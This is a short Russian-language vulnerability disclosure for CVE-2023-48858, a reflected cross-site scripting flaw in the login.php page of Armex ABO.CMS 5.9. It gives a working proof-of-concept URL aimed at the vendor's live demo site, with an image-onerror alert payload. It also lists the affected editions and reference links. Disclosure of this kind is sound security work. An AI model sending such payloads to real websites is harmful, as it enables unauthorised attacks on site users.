CVE-2023-48858

PoC для CVE-2023-48858

Уязвимость межсайтового скриптинга (XSS) в PHP-коде страницы входа в Armex ABO.CMS 5.9 позволяет удалённым злоумышленникам внедрять произвольный веб- скрипт или HTML через часть URL login.php?.

Proof of Concept:
http://demo.abocms.ru/login.php/eqbzm%22%3E%3Cimg%20src%3d/%20onerror%3dalert%281%29%3Er338y

Это не обязательно уязвимость именно «демо»-версии, она была подтверждена в реальных условиях на реальном сайте, доступном из интернета
Ссылка на использованное здесь демо приведена лишь для того, чтобы показать, что эта уязвимость сохраняется

Тип уязвимости:
Межсайтовый скриптинг (XSS)

Производитель продукта:
Armex Programming Products (ИНН 7722635725)

(Предположительно) затронутые продукты:
ABO.CMS: Start - 5.9
ABO.CMS: Promo - 5.9
ABO.CMS: Corporative - 5.9
ABO.CMS: Shop - 5.9
ABO.CMS: Business - 5.9
ABO.CMS: Bank - 5.9

Проблема была обнаружена на странице login.php, поэтому все версии, которые её используют (функция входа), должны быть затронуты. Также я лично не думаю, что что-то изменится для исправления этой уязвимости в следующих версиях ABO.CMS

Ссылки:
https://abocms.ru/about/versions/version59/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-48858